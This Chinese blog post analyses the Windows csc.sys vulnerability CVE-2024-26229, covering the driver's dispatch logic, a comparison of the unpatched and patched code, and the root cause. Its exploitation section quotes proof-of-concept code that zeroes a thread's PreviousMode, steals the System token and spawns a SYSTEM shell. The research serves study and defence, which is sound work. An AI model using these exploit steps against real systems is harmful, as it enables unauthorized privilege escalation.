原文首发在:奇安信攻防社区
https://forum.butian.net/share/3101
CSC 漏洞分析
前几日,有人在github中放出了CVE-2024-26229的利用脚本,这里我们就借此机会,分析一下这个漏洞的成因,以及一些利用技巧
背景介绍
Windows 支持很多基于网络的文件服务系统,例如SMB或者Webdav,这类服务允许程序能够在联网状态下对不同设备上的文件进行访问。然而有些场合,我们会希望在断网的情况下也能保留对这些远程文件的修改,并且在网络恢复后同步数据。此时 Windows会提供一种叫做Client Side Caching"
的服务。这个服务能够保证在离线状态下,依然能够访问这些基于联网的文件,并且在网络恢复后能够将对应的修改更新到对应文件中。
这里的csc.sys
即为对应服务的模块。这个模块是一种叫做内核网络迷你重定向(Mini-Redirector
)模块,简单来说就是一种能够处理网络文件系统操作的驱动。例如去重定义对网络文件的读写,维护认证等功能,详细解释可以看这里。
基础知识介绍
为了方便对漏洞成因的介绍,这边会介绍一些基础知识,直接看漏洞成因的可跳转到漏洞成因部分
NtFsControlFile 与 IRP
Windows在涉及与内核通信的时候,会使用一种叫做IRP(I/O Request Package)
的IO数据包,将用户态的必要数据带入到内核态,再有内核态进行处理后返回。这个IRP可以注册多种处理,包括常见的文件读写,创建等等。其中当为了能够直接与特定类型设备通信的时候,会在内核态注册一种叫做IRP_MJ_DEVICE_CONTROL
的调用函数,此时用户态可通过DeviceIOCoontrol
与其通信。类似的,当操作涉及文件系统的时候,通常会注册针对文件系统的IRP_MJ_FILE_SYSTEM_CONTROL
,此时与设备通信的时候就会用到NtFsControlFile
。
此函数的描述如下:
NtFsControlFile(
IN HANDLE FileHandle,
IN HANDLE Event OPTIONAL,
IN PIO_APC_ROUTINE ApcRoutine OPTIONAL,
IN PVOID ApcContext OPTIONAL,
OUT PIO_STATUS_BLOCK IoStatusBlock,
IN ULONG FsControlCode,
IN PVOID InputBuffer OPTIONAL,
IN ULONG InputBufferLength,
OUT PVOID OutputBuffer OPTIONAL,
IN ULONG OutputBufferLength );
其中介绍几个比较重要的参数:
-
FileHandle:指向打开的设备句柄
-
IoStatusBlock:指向IO操作结果的指针
-
FSControlCode:用于描述访问结构的ControlCode,类似于IOCTL
-
InputBuffer:用户输入数据的指针地址
-
InputBufferLength:用户输入数据的长度
-
OutputBuffer:用户输出数据的指针地址
-
OutputBufferLength:用户输出数据的长度
实际上严格来说FSCTL与IOCTL非常相似,尤其是从数据传输角度来说,从官方文档来看,用户态对这两种过程使用过程应当是大差不差的
当进行这几种直接通信的过程时候,用户通常可以直接从用户态传入两段内存地址,用于存储输入和输出。以类似的DeviceIOControl为例:
if (!DeviceIoControl(hDrv, IOCTL, input, dwInputSize, output, dwOutputSize, &dwRetSize, NULL)) {
UsrDbgPrint("[*] Send IOCTL error with %xn", GetLastError());
return false;
}
函数需要传入以下参数
-
设备句柄,使用CreateFile创建
-
IOCTL
-
用户输入的缓存区地址和大小
-
用户输出的缓存区地址和大小
-
实际返回的大小指针
那这里会产生一个疑问:这里的输入缓存区和输出缓存区究竟是如何传递给内核的呢?此时有三种可能
-
Windows使用了它自己申请的一段内存,维护了我们的输入输出缓存区,在内核处理的时候使用了它自己维护的内存数据
-
Windows会针对用户的输入输出内存,映射一段内核空间,利用自己维护的内存描述符来访问这段物理内存
-
Windows直接使用来自用户态的输入输出内存地址,直接操作
这三种不同的内存处理方式在Windows驱动中都是被允许的,它们分别被叫做
-
METHOD_BUFFERED
-
METHOD_IN_DIRECT | METHOD_OUT_DIRECT
-
METHOD_NEITHER
具体区别可以参考这位师傅写的文章 这里大致描述一下区别就是:
-
使用
BUFFERED
模式的时候,Windows会主动申请内存来维护我们的输入和输出,此时最安全 -
使用
DIRECT
模式的时候,效率相对较高,但是需要对DIRECT侧的数据进行保护,否则可能会导致蓝屏 -
使用
NEITHER
模式的时候,由于直接使用了用户态地址,此时Windows不做任何防护机制
如何决定使用哪种方式呢?其中一个设置来自于IOCTL
IOCTL的最低两个bit会决定当前的内存传输类型,定义如下
#define METHOD_BUFFERED 0
#define METHOD_IN_DIRECT 1
#define METHOD_OUT_DIRECT 2
#define METHOD_NEITHER 3
当使用不同的传输类型的时候,Windows的检查等级也会有所不同
-
使用
BUFFERED
模式时,会由Windows内核解析函数保证输入输出缓存(Type3InputBuffer,OutputBuffer) 大小必须与用户传入的数据大小匹配,并且均为可读可写状态 -
使用
DIRECT
模式时,会由Windows内核解析函数保证部分缓存是合理的,剩下的需交给内核中使用内存的函数进行判断 -
使用
NEITHER
模式时,Windows内核解析函数不做任何检查,需要完全交予内核处理函数进行见检查
漏洞分析
在分析过程中发现,微软提供的驱动的符号已经过时,导致部分结构体对不上,这里记录一些分析过程。不感兴趣可以直接跳转到漏洞成因部分
逆向分析
分发表还原
首先在csc.sys
这类Mini-Redirector模块的初始化过程中,会使用函数RxRegisterMinirdr
进行注册。这个函数会将当前的驱动模块注册到 RDBSS Redirected Drive Buffering Subsystem
(重定向驱动缓存子系统)中。此时其可以通过提供分发表(第三个参数MrdrDispatch
)来更加松散的注册对应的分发表:
CscInitializeDispatchTable();
Value = RxRegisterMinirdr(
&CscDeviceObject,
DriverObject,
&MrdrDispatch,
0x1F2u,
&CscMiniRedirectorName,
0xAA0u,
0x14u,
0x10u);
不过正如前面所说,官方提供的符号似乎有问题,导致MrdrDispatch
对应的调用关系错乱,于是只能自己逆向部分逻辑。
通过网上公开的exp,调试后可以找到关键的调用栈如下
00 ffff9787`16ec3128 fffff801`5cac0594 csc!CscDevFcbXXXControlFile
01 ffff9787`16ec3130 fffff801`5ca529dc rdbss!RxCommonDevFCBFsCtl+0x284
02 ffff9787`16ec3190 fffff801`5cabc594 rdbss!RxFsdCommonDispatch+0x6ac
03 ffff9787`16ec3360 fffff801`5cb72a0a rdbss!RxFsdDispatch+0x84
04 ffff9787`16ec33b0 fffff801`c752bf1d csc!CscFsdDispatch+0x8a
05 ffff9787`16ec3430 fffff801`5bc79ba3 nt!IofCallDriver+0x4d
06 ffff9787`16ec3470 fffff801`5bc78d21 mup!MupStateMachine+0x1b3
07 ffff9787`16ec34f0 fffff801`c752bf1d mup!MupFsControl+0xc1
在这里的rdbss!RxCommonDevFCBFsCtl+0x284
会涉及函数调用,检查汇编可知其调用逻辑如下:
mov rax, qword ptr [rdi+160h]
mov rax, qword ptr [rax+230h]
call cs:__guard_dispatch_icall_fptr
可知0x230
偏移为对应函数CscDevFcbXXXControlFile
,于是根据原先的符号,可以在csc!CscInitializeDispatchTable
中可以还原部分函数表初始化过程:
memset(&MrdrDispatch, 0, sizeof(MrdrDispatch));
MrdrDispatch.t05 = 0i64;
MrdrDispatch.MRxStart = (__int64)CscStart;
MrdrDispatch.MRxDevFcbXXXControlFile = (__int64)CscDevFcbXXXControlFile;
MrdrDispatch.MRxCreateSrvCall = (__int64)CscCreateSrvCall;
MrdrDispatch.MRxSrvCallCompletion = (__int64)CscSrvCallCompletion;
参数还原
函数CscDevFcbXXXControlFile
会传入一个来自于分发过程中的上下文参数,叫做_RX_CONTEXT
,然而这个参数也是过时的,我们需要重构参数结构体。从csc!CscFsdDispatch
开始会涉及RXContext
内容,通过调用可以得知,这个结构体实际上是由rdbss
这个模块构建。于是我们可以通过分析这个模块得到需要的结构体信息。首先再这里找到一个叫做RxCreateRxContextEx
的函数,可以根据其还原RxContext
的大小。
同时根据分发函数RxFsdCommonDispatch
,我们能够发现当进入分发状态后,程序会尝试在函数RxLowIoPopulateFsctlInfo
调用过程中会将IO请求中的IRP
中的内容进行浅拷贝。
NTSTATUS __stdcall RxLowIoPopulateFsctlInfo(New_RT_CONTEXT *RxContext, PIRP Irp)
{
CurrentStackLocation = Irp->Tail.Overlay.CurrentStackLocation;
v4 = 0;
FsControlCode = CurrentStackLocation->Parameters.FileSystemControl.FsControlCode;
RxContext->FsControlCode = FsControlCode;
RxContext->InputBufferLength = CurrentStackLocation->Parameters.FileSystemControl.InputBufferLength;
RxContext->OutputBufferLength = CurrentStackLocation->Parameters.FileSystemControl.OutputBufferLength;
RxContext->MinorFunction_ = CurrentStackLocation->MinorFunction;
v6 = FsControlCode & 3;
if ( v6 )
{
v8 = v6 - 1;
if ( v8 && (v9 = v8 - 1) != 0 )
{
if ( v9 == 1 )
{
RxContext->Type3InputBuffer = (__int64)CurrentStackLocation->Parameters.FileSystemControl.Type3InputBuffer;
RxContext->irp_UserBuffer = (__int64)Irp->UserBuffer;
}
}
else
{
RxContext->Type3InputBuffer = (__int64)Irp->AssociatedIrp.MasterIrp;
MdlAddress = Irp->MdlAddress;
if ( MdlAddress )
{
if ( (MdlAddress->MdlFlags & 5) != 0 )
MappedSystemVa = MdlAddress->MappedSystemVa;
else
MappedSystemVa = MmMapLockedPagesSpecifyCache(MdlAddress, 0, MmCached, 0i64, 0, 0x40000010u);
v4 = MappedSystemVa == 0i64 ? 0xC000009A : 0;
}
else
{
MappedSystemVa = 0i64;
}
RxContext->irp_UserBuffer = (__int64)MappedSystemVa;
}
}
else
{
RxContext->Type3InputBuffer = (__int64)Irp->AssociatedIrp.MasterIrp;
RxContext->irp_UserBuffer = (__int64)Irp->AssociatedIrp.MasterIrp;
}
return v4;
}
至此,即可还原分析过程中所需的必要结构体。
漏洞成因
对比patch前后的驱动,能够发现漏洞修复发生在CscDevFcbXXXControlFile
函数中。在未修复前,逻辑如下:
if ( a1->MajorFunction == IRP_MJ_FILE_SYSTEM_CONTROL && !a1->MinorFunction_ )
{
if ( a1->FsControlCode == 0x1401A3 )
{
Type3InputBuffer = a1->Type3InputBuffer;
v4 = 0;
a1->t23 = 0i64;
*(_QWORD *)(Type3InputBuffer + 24) = 0i64;
}
}
进行修复之后,逻辑变成了
if ( a1->MajorFunction == IRP_MJ_FILE_SYSTEM_CONTROL && !a1->MinorFunction_ )
{
v10 = *(_QWORD *)(FSCtx + 40);
if ( a1->FsControlCode == 0x1401A3 )
{
if ( (unsigned int)Feature_1275465022__private_IsEnabledDeviceUsage() )
{
InputBufferLength = a1->InputBufferLength;
a1->t23 = 0i64;
if ( InputBufferLength < 0x24 )
{
v2 = -1073741789;
}
else
{
Type3InputBuffer = a1->Type3InputBuffer;
if ( a1->irp->RequestorMode )
ProbeForWrite((volatile void *)a1->Type3InputBuffer, InputBufferLength, 4u);
if ( *(_DWORD *)(Type3InputBuffer + 4) == 6 )
{
*(_QWORD *)(Type3InputBuffer + 24) = 0i64;
v2 = 0;
}
else
{
v2 = -1073741811;
}
//。。。
}
}
}
}
可以看到,程序增加了多个验证逻辑
-
要求
InputBufferLength
必须大于0x24
-
当请求来自于用户态的时候,必须对
Type3InputBuffer
进行检查,保证Type3InputBuffer
必须为用户态的内存空间,且至少有4字节的空间
根据FsControlCode
可知,当前使用的FSCTL最后两bit为3,表明当前传输类型为NEITHER
模式。此时Type3InputBuffer
指向由用户态传入NtFsControlFile
的指针InputBuffer
,并且该指针完全不被内核解析处理。这样一来,指针指向的地址是否合法,以及指针内容的大小均不被检查,所以此处的指针可以写入任意地址中。总结一下,漏洞即为由于对指针使用检查不严谨,导致了一个可以往用户可控内存地址写入0的漏洞出现。
漏洞利用
任意地址写0,乍一听其实还蛮难利用的,不过在Windows 23 年之前的部分版本(新版Windows已经将Handle泄露的技巧堵上了),可以使用一种修改 PeviouseMode 的简单办法进行漏洞利用。这里介绍一下这种利用技巧:
KernelMode和UserMode
在Windows调用过程中,每一个线程都是独立的执行单位,意味着无论是用户态还是内核态需要执行程序的时候,都要创建一条线程来进行工作。然而对于类似DeviceIOContrl这样的回调例程,它很多功能可能是仅对内核开放,抑或是用户态的请求需要更加严格的检查,此时Windows就需要提供一种办法,让这些例程能够判断当前线程是否来自于用户态。这个字段就源自于ETHREAD中的PreviousMode。
在Windows调用过程中,会发现存在Zw
和Nt
两种开头的函数。这两个函数从用户态视角看是一致的,因为用户态提供的Zw
函数和Nt
函数本质上都是Nt
函数。但是如果从内核态看,Zw
函数不会对传入的参数进行判断,而Nt
则会根据PreviousMode
考虑是否对当前传入的参数进行检查,这就需要内核开发者正确的使用对应例程来解决。
PreviousMode非常直观的分为两种:UserMode和KernelMode,前者表示线程由用户态进程创建,后者表示由内核态进程创建。
typedef enum _MODE {
KernelMode,
UserMode,
MaximumMode
} MODE;
FSCTL或者IOCTL调用例程过程中,假设我们实际是由用户态进程发起的请求,那么尽管我们的执行流来到了内核态,但是由于当前线程是由用户态创建,所以其实此时的PreviousMode也为UserMode,因此大部分的对应例程都会对这类请求进行防护。
从任意地址写0到LPE
在2018年的Bluehat上,Kaspersky研究员提出了一种很有趣的利用技巧,对于NtReadVirtualMemory
和NtWriteVirtualMemory
这类函数,在PreviouseMode
为UserMode的时候,它会检查当前访问的地址空间是否为用户态可访问的空间,但当PreviouseMode
为KernelMode
的时候,并不会进行这类检查
__int64 __fastcall MiReadWriteVirtualMemory(
ULONG_PTR BugCheckParameter1,
unsigned __int64 baseAddr,
unsigned __int64 Buffer,
__int64 NumberOfBytesToOp,
unsigned __int64 a5,
unsigned int a6)
{
// [COLLAPSED LOCAL DECLARATIONS. PRESS KEYPAD CTRL-"+" TO EXPAND]
v7 = baseAddr;
CurrentThread = KeGetCurrentThread();
PreviousMode = CurrentThread->PreviousMode;
v23 = PreviousMode;
if ( PreviousMode )
{
if ( baseAddr + NumberOfBytesToOp < baseAddr
|| baseAddr + NumberOfBytesToOp > 0x7FFFFFFF0000i64
|| NumberOfBytesToOp + Buffer < Buffer
|| NumberOfBytesToOp + Buffer > 0x7FFFFFFF0000i64 )
{
return 0xC0000005i64;
}
// skip other code
}
}
也就是说,当我们能够想办法将当前线程的PreviouseMode
值为0的时候,我们即可绕过内存地址检查,直接调用NtReadVirtualMemory
或者NtWriteVirtualMemory
实现真正意义的任意地址写
EXP最终利用(旧版本)
当我们能够实现任意地址写,即可配合这个github中提到的Windows常见泄露技巧,尝试泄露敏感进程(System进程)的Token,并且将该Token写入我们当前进程,即可实现提权。
这边结合公开的脚本分析一下利用流程
-
首先利用由
NtQuerySystemInformation
封装的函数GetObjPtr
泄露System进程的EPROCESS
以及当前线程的ETHREAD
:
GetObjPtr(&Sysproc, 4, 4); // 泄露System EPROCESS,准备从这边获取token
Ret = GetObjPtr(&Curthread, GetCurrentProcessId(), hThread); // 获取当前线程ETHREAD,进行PreviousMode替换
hCurproc = OpenProcess(PROCESS_QUERY_INFORMATION, TRUE, GetCurrentProcessId()); // 泄露当前进程的EPROCESS,准备替换token
-
触发漏洞,将当前线程PreviousMode改写成0
status = NtFsControlFile(handle, NULL, NULL, NULL, &iosb, CSC_DEV_FCB_XXX_CONTROL_FILE, /*Vuln arg*/ (void*)(Curthread + KTHREAD_PREVIOUS_MODE_OFFSET - 0x18), 0, NULL, 0);
if (!NT_SUCCESS(status))
{
printf("[-] NtFsControlFile failed with status = %xn", status);
return status;
}
-
此时,可以实现往内核地址的读写,将System进程Token地址拷贝到当前进程
Write64(Curproc + EPROCESS_TOKEN_OFFSET, Sysproc + EPROCESS_TOKEN_OFFSET, 0x8);
-
恢复PreviousMode,此时该进程完成提权
//
// Restoring KTHREAD->PreviousMode
//
Write64(Curthread + KTHREAD_PREVIOUS_MODE_OFFSET, &mode, 0x1);
//
// spawn the shell with "nt authoritysystem"
//
system("cmd.exe");
总结
漏洞本身比较简单,不过攻击面本身基于网络文件系统,分析过程略有难度;
利用在稍老的Windows版本上属于比较经典的用法,不过在新版本上由于已经无法利用NtQuerySystemInformation
泄露Handle
,可能需要使用其他的攻击原语完成攻击,感兴趣的同学可以尝试使用其他的常见原语进行漏洞利用,这里不展开介绍。
参考文章
https://www.cnblogs.com/iBinary/p/15838812.html
https://query.prod.cms.rt.microsoft.com/cms/api/am/binary/RE375Xk
https://learn.microsoft.com/en-us/windows-hardware/drivers/kernel/previousmode
https://github.com/varwara/CVE-2024-26229/blob/main/CVE-2024-26229.c
原文始发于微信公众号(TtTeam):cve-2024-26229 漏洞分析
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论